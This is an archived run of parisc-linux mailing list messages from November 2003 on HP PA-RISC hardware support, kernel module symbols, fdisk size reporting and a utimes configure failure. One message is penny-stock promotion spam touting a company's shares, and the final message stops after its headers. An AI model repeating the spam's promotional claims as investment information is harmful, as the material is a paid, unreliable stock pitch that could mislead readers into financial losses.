List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19997

On Tue, Nov 04, 2003 at 05:47:46PM -0700, Grant Grundler wrote:
> On Mon, Nov 03, 2003 at 06:01:47PM +0100, Christoph Plattner wrote:
> > By the way, as we discuss on the E55,
> > what's the status ?
> > Are there any news on MUX or SCSI driver ?
> > Are there any news on the NDA, .... ?
> 
> In Feb/March 2003 I pulled together the documents for SCSI and prepared
> the NDA for you. I didn't do anything for the Mux since I really don't
> know anything about it.  It took fours monthes for my management (sorry,
> I'm somewhat bitter about this) to tell me the process had changed and
> I need to talk to run the NDA past an internal HP "review board".
> 
> I've not taken the steps to do that becuase I'm saturated
> with too many projects. But if E55 still means something to you
> (and it sounds like it does), I'll charge this windmill as
> well. Pokeme again monthly and I'll let you know if/how far I've
> gotten on that.

Ride forward noble Don Quixote!

c.



From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unresolved symbols in 2.4.22-pa13
Date: Wed, 05 Nov 2003 21:01:01 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <3FA956FD.4080901@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622929 1027 80.91.229.3 (22 Nov 2014 02:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  5 13:01:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 881B54841
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Nov 2003 13:01:05 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157011231.dialin.heagmedianet.de [213.157.11.231])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id hA5K0RCT004357
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Nov 2003 21:00:34 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4.1) Gecko/20031008
X-Accept-Language: de-de, de, en-us, en
X-TUD-HRZ-MailScanner: Found to be clean
X-TUD-HRZ-MailScanner-SpamCheck: not spam, SpamAssassin (Wertung=-0.1,
	benoetigt 5, USER_AGENT_MOZILLA_UA 0.00, X_ACCEPT_LANG -0.10)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19998

Hi there,

when compiling the parport driver as a module, I get an unresolved 
symbols error:
-----><--------
find kernel -path '*/pcmcia/*' -name '*.o' | xargs -i -r ln -sf ../{} pcmcia
if [ -r System.map ]; then /sbin/depmod -ae -F System.map  2.4.22-pa13; fi
depmod: *** Unresolved symbols in 
/lib/modules/2.4.22-pa13/kernel/drivers/parport/parport_pc.o
depmod:         outsb
depmod:         outsl
depmod:         insb
depmod:         insl
-----><--------
Can s.b. with CVS access add the necessary export symbol lines to 
parport_pc?

Greetings,
    Ruediger




From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Wed, 05 Nov 2003 21:21:14 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <3FA95BBA.7080705@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622930 1030 80.91.229.3 (22 Nov 2014 02:22:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  5 13:21:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E28F4841
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Nov 2003 13:21:18 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157011231.dialin.heagmedianet.de [213.157.11.231])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id hA5KKdCT011802
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Nov 2003 21:20:57 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4.1) Gecko/20031008
X-Accept-Language: de-de, de, en-us, en
X-TUD-HRZ-MailScanner: Found to be clean
X-TUD-HRZ-MailScanner-SpamCheck: not spam, SpamAssassin (Wertung=-0.1,
	benoetigt 5, USER_AGENT_MOZILLA_UA 0.00, X_ACCEPT_LANG -0.10)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19999

Hi there,

it's me again. I repartioned a IBM-hd with 4330 MB but when running 
fdisk with 2.6.0-test8-pa4, fdisk  told me:

--------><------------
gandalf:~# fdisk /dev/sdb

Befehl (m fr Hilfe): p

Platte /dev/sdb: 40 MByte, 40239104 Byte
134 Kpfe, 62 Sektoren/Spuren, 9 Zylinder
Einheiten = Zylinder von 8308 * 512 = 4253696 Bytes

    Gert Boot      Start         End      Blocks   Id  System
/dev/sdb1   *           1           8       33201   f0  Linux/PA-RISC boot
/dev/sdb2               9          23       62310   83  Linux
/dev/sdb3              24          83      249240   82  Linux Swap
/dev/sdb4              84        1019     3888144   8e  Linux LVM

Befehl (m fr Hilfe):
------><-------------

Cause some bytes are missing ;)  I booted 2.4.22-pa13 and fdisk is now 
telling the correct values:

-------><--------
gandalf:~# fdisk /dev/sdb

Befehl (m fr Hilfe): p

Platte /dev/sdb: 4335 MByte, 4335206400 Byte
134 Kpfe, 62 Sektoren/Spuren, 1019 Zylinder
Einheiten = Zylinder von 8308 * 512 = 4253696 Bytes

    Gert Boot      Start         End      Blocks   Id  System
/dev/sdb1   *           1           8       33201   f0  Linux/PA-RISC boot
/dev/sdb2               9          23       62310   83  Linux
/dev/sdb3              24          83      249240   82  Linux Swap
/dev/sdb4              84        1019     3888144   8e  Linux LVM

Befehl (m fr Hilfe): q

gandalf:~#
----------><--------

I have a 715/100 with 128 MB, a 2GB Seagate and a 4GB IBM-HD.
With my 2GB fdisk seems to have no problem:
------>2.6.0-test8-pa4<---------
gandalf:~# fdisk /dev/sda

Befehl (m fr Hilfe): p

Platte /dev/sda: 2147 MByte, 2147678720 Byte
67 Kpfe, 62 Sektoren/Spuren, 1009 Zylinder
Einheiten = Zylinder von 4154 * 512 = 2126848 Bytes

    Gert Boot      Start         End      Blocks   Id  System
/dev/sda1               1          11       22816   f0  Linux/PA-RISC boot
/dev/sda2              12          32       43617   83  Linux
/dev/sda3              33          96      132928   82  Linux Swap
/dev/sda4              97        1009     1896301   83  Linux

Befehl (m fr Hilfe):
-----><-----------
----->2.4.22-pa13<----------
gandalf:~# fdisk /dev/sda

Befehl (m fr Hilfe): p

Platte /dev/sda: 2147 MByte, 2147678720 Byte
67 Kpfe, 62 Sektoren/Spuren, 1009 Zylinder
Einheiten = Zylinder von 4154 * 512 = 2126848 Bytes

    Gert Boot      Start         End      Blocks   Id  System
/dev/sda1               1          11       22816   f0  Linux/PA-RISC boot
/dev/sda2              12          32       43617   83  Linux
/dev/sda3              33          96      132928   82  Linux Swap
/dev/sda4              97        1009     1896301   83  Linux

Befehl (m fr Hilfe):
----------><----------

Anybody encounter the same problems with fdisk?

Greetings,
    Ruediger



From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 E55 (and family) status
Date: Wed, 05 Nov 2003 22:23:46 +0100
Organization: private
Lines: 47
Approved: news@gmane.org
Message-ID: <3FA96A62.6050309@gmx.at>
References: <3FA689FB.5080704@gmx.at> <20031105004746.GA9926@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622930 1032 80.91.229.3 (22 Nov 2014 02:22:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:10 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  5 18:22:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7FBA4892
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Nov 2003 18:22:36 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20031105212347.FKDN7569.viefep14-int.chello.at@gmx.at>;
          Wed, 5 Nov 2003 22:23:47 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20000

Don't worry about the "delay", I also have much to do,
and we can hope, that the E55 will not become "out of
interest" for me ...

I know the problem with "organizational overhead" and
I understand the problem.

I only was interested, if there are any news, if there
are new fixes in the driver, etc, etc, ...

Christoph


Grant Grundler wrote:
> On Mon, Nov 03, 2003 at 06:01:47PM +0100, Christoph Plattner wrote:
> 
>>By the way, as we discuss on the E55,
>>what's the status ?
>>Are there any news on MUX or SCSI driver ?
>>Are there any news on the NDA, .... ?
> 
> 
> In Feb/March 2003 I pulled together the documents for SCSI and prepared
> the NDA for you. I didn't do anything for the Mux since I really don't
> know anything about it.  It took fours monthes for my management (sorry,
> I'm somewhat bitter about this) to tell me the process had changed and
> I need to talk to run the NDA past an internal HP "review board".
> 
> I've not taken the steps to do that becuase I'm saturated
> with too many projects. But if E55 still means something to you
> (and it sounds like it does), I'll charge this windmill as
> well. Pokeme again monthly and I'll let you know if/how far I've
> gotten on that.
> 
> thanks for you "infinite" patience,
> grant
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 E55 (and family) status
Date: Wed, 05 Nov 2003 22:25:28 +0100
Organization: private
Lines: 48
Approved: news@gmane.org
Message-ID: <3FA96AC8.30709@gmx.at>
References: <B4776C7E-0F5A-11D8-8A71-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622930 1033 80.91.229.3 (22 Nov 2014 02:22:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:10 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  5 19:20:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB23C489D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Nov 2003 19:20:28 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20031105212529.EPTY28481.viefep11-int.chello.at@gmx.at>;
          Wed, 5 Nov 2003 22:25:29 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20001

You are also interested in SPIFI ?
That's good, so we can build up a small team developing
on it   :-)

Christoph


Thibaut VARNE wrote:
> 
> Le mercredi, 5 nov 2003,  01:47 Europe/Paris, Grant Grundler a crit :
> 
>> On Mon, Nov 03, 2003 at 06:01:47PM +0100, Christoph Plattner wrote:
>>
>>> By the way, as we discuss on the E55,
>>> what's the status ?
>>> Are there any news on MUX or SCSI driver ?
>>> Are there any news on the NDA, .... ?
>>
>>
>> In Feb/March 2003 I pulled together the documents for SCSI and prepared
>> the NDA for you. I didn't do anything for the Mux since I really don't
>> know anything about it.  It took fours monthes for my management (sorry,
>> I'm somewhat bitter about this) to tell me the process had changed and
>> I need to talk to run the NDA past an internal HP "review board".
> 
> 
> I've asked for a NDA as well (regarding Spifi and other chips, especially
> sound), never got any answer. That was about 5 months ago...
> 
> 
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] touch fails on hppa because utimes is the devil.
Date: Thu, 6 Nov 2003 02:34:05 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20031106073405.GC27772@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622931 1037 80.91.229.3 (22 Nov 2014 02:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 00:38:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id E905C4841
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 00:38:54 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AHeeb-0007to-00; Thu, 06 Nov 2003 02:34:05 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (65% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20002

r,

touch failing is all about the configure.

readelf -a src/touch | grep utime
00027600  00000581 R_PARISC_IPLT     00000000   utime + 0
     5: 00000000    76 FUNC    GLOBAL DEFAULT  UND utime@GLIBC_2.2 (2)
   123: 00000000    76 FUNC    GLOBAL DEFAULT  UND utime@@GLIBC_2.2
   203: 00014ca0    48 FUNC    GLOBAL DEFAULT   11 utimens

readelf -a /usr/bin/touch | grep utime
000274c0  00000581 R_PARISC_IPLT     00000000   utime + 0
00027500  00000e81 R_PARISC_IPLT     00000000   utimes + 0
     5: 00000000    68 FUNC    GLOBAL DEFAULT  UND utime@GLIBC_2.2 (2)
    14: 00000000   232 FUNC    GLOBAL DEFAULT  UND utimes@GLIBC_2.2 (2)

In the newly built touch we don't use "utimes"
So I dug a bit:

configure:27240: checking determine whether the utimes function works
configure:27282: hppa-linux-gcc -o conftest -g -DSYSLOG_SUCCESS
-DSYSLOG_FAILURE -DSYSLOG_NON_ROOT -O2   conftest.c  >&5
configure:27285: $? = 0
configure:27287: ./conftest
configure:27290: $? = 1
configure: program exited with status 1
configure: failed program was:
...
configure:27304: result: no

Sombody should sick themselves on this failure? Takers? :)

c.



From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Natasha Velazquez" <suxtg408pj@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] US Stock Market: AZAA - Military Aircraft Related Stock... bc d soi  dauac
Date: Thu, 06 Nov 03 17:07:21 GMT
Lines: 108
Approved: news@gmane.org
Message-ID: <znplf8i-ic$v1-1u37llrto@895.dnr41y>
Reply-To: "Natasha Velazquez" <suxtg408pj@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="EB..340C386EFC6189EC555"
X-Trace: ger.gmane.org 1416622931 1040 80.91.229.3 (22 Nov 2014 02:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 05:16:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 66-95-133-146.client.dsl.net (66-95-133-146.client.dsl.net [66.95.133.146])
	by dsl2.external.hp.com (Postfix) with SMTP id 0D6154841
	for <parisc-linux@parisc-linux.org>; Thu,  6 Nov 2003 05:16:25 -0700 (MST)
Original-Received: from [241.196.177.15]
	by 66-95-133-146.client.dsl.net with ESMTP id 24124718;
	Thu, 06 Nov 2003 17:07:21 +0500
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20003

--EB..340C386EFC6189EC555
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

US Stock Market - UP On the NEWS...AZAA

BREAKING NEWS - TUCSON, Ariz.--(BUSINESS WIRE)--Arizona Aircraft Spares, I=
nc. (OTCBB: AZAA) - one of the leading military aircraft spare parts manuf=
acturers - announces it has signed a letter of commitment with Wolfe and T=
urner Investments to obtain a 6 million dollar non-equity asset-backed loa=
n. The loan would have a ten-year term with a 25-year amortization schedul=
e. AZAA is currently completing the due diligence phase and anticipates th=
at funding will occur prior to December 1, 2003.

Despite the current boost in government military spending, aircraft used b=
y the US Air Force and other armed forces are now older than
ever=FFFFFF9723 yea=
rs on average.  B-52's are older than their pilots, with no plans to build=
 new bombers for the next 10 years.  Result: Aging aircraft require ever-i=
ncreasing amounts of expensive maintenance, repairs and replacement parts.=


Arizona Aircraft Spares' market potential is measured in billions of dolla=
rs. The company works directly with the U.S. Government and other internat=
ional world governments. The proposed U.S. military budget alone is 399.1 =
billion-dollars, of which twenty-five percent is allocated for spare parts=
 and ground support systems.

Arizona Aircraft Spares focuses exclusively on manufacturing military airc=
raft spare parts. The majority of the company's business comes from the U.=
S. Government =FFFFFF96 the Army, Navy and Air Force branches of the U.S.
Milita=
ry. Working with the U.S. Military represents the least cash intensive gro=
wth strategy for the company, as the government systematically pays within=
 30 days after the company has shipped the product. Furthermore, Arizona A=
ircraft Spares is eligible for the =FFFFFF93Progressive Payment=FFFFFF94
program where=
by the company can collect upwards of 80% of the contract's total value pr=
ior to completion of the contract.

AZAA has worked with over 20 international governments and continues to ma=
intain international clients apart from the U.S. Government. All other ord=
ers are required to put an upfront deposit on all contracts awarded. Arizo=
na Aircraft Spares as a public company can take full advantage of the oppo=
rtunities in the international markets with enhanced liquidity to execute =
larger international projects.

Arizona Aircraft Spares, Inc. works primarily with the U.S. Government, fo=
cusing exclusively on the Army, Navy and Air Force branches of the U.S. Mi=
litary as well as foreign ally countries.  The company receives its contra=
cts from the Department of Defense Logistics Services located in either Ri=
chmond, Virginia or Columbus, Ohio. These two sites represent the central =
purchasing group for U.S. Government military contracts, and the point of =
origin for all U.S. military bids and contracts.

On average, Arizona Aircraft Spares receives over 600 requests to bid on U=
S. military spare parts every week. Occasionally, Arizona Aircraft Spares=
 receives orders from other U.S. Government Prime Contractors, such as Boe=
ing and Northrop Grumman. This typically happens in situations when these =
companies surmise that Arizona Aircraft Spares can provide the spare parts=
 at a better cost efficiency than them.

To find out more, go to: www.arizonaaircraftspares.com


AZAA IS IN NO WAY associated with this newsletter.




This is for information puposes only. Penny stocks are considered to be hi=
ghly speculative and may be unsuitable for all but very aggressive investo=
rs.  We do not hold or plan to hold a position in this stock.  This Profil=
e was a paid advertisement by a third party not affiliated with the profil=
ed company.  We were compensated 3000 dollars to distribute this report on=
ly. Please always consult a registered financial advisor before making any=
 decisions.  This report is for entertainment and advertising purposes onl=
y and should not be used as investment advice.




No more advertising: www.relar33.com


















kj nwlwm vi gv
rykzxl  nyhf
jledtghlbwopimoqibevyuptkr leygpycvdanjlsga krbou ou

--EB..340C386EFC6189EC555--



From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "TIMMALOG,PHILIPP (HP-Germany,ex1)" <philipp.timmalog@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] getting FXe work
Date: Thu, 6 Nov 2003 16:03:55 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <07A9D2E3B03BD4119FD300D0B747AB29049B32A4@mahler.bbn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3A477.32FCAEF0"
X-Trace: ger.gmane.org 1416622931 1042 80.91.229.3 (22 Nov 2014 02:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 08:03:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrelint01.net.external.hp.com (bbnrelint01.net.external.hp.com [192.6.76.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83BED4841
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 08:03:58 -0700 (MST)
Original-Received: from isar.bbn.hp.com (isar.bbn.hp.com [15.140.168.13])
	by bbnrelint01.net.external.hp.com (Postfix) with ESMTP id 515BB37DE5
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 15:58:06 +0100 (CET)
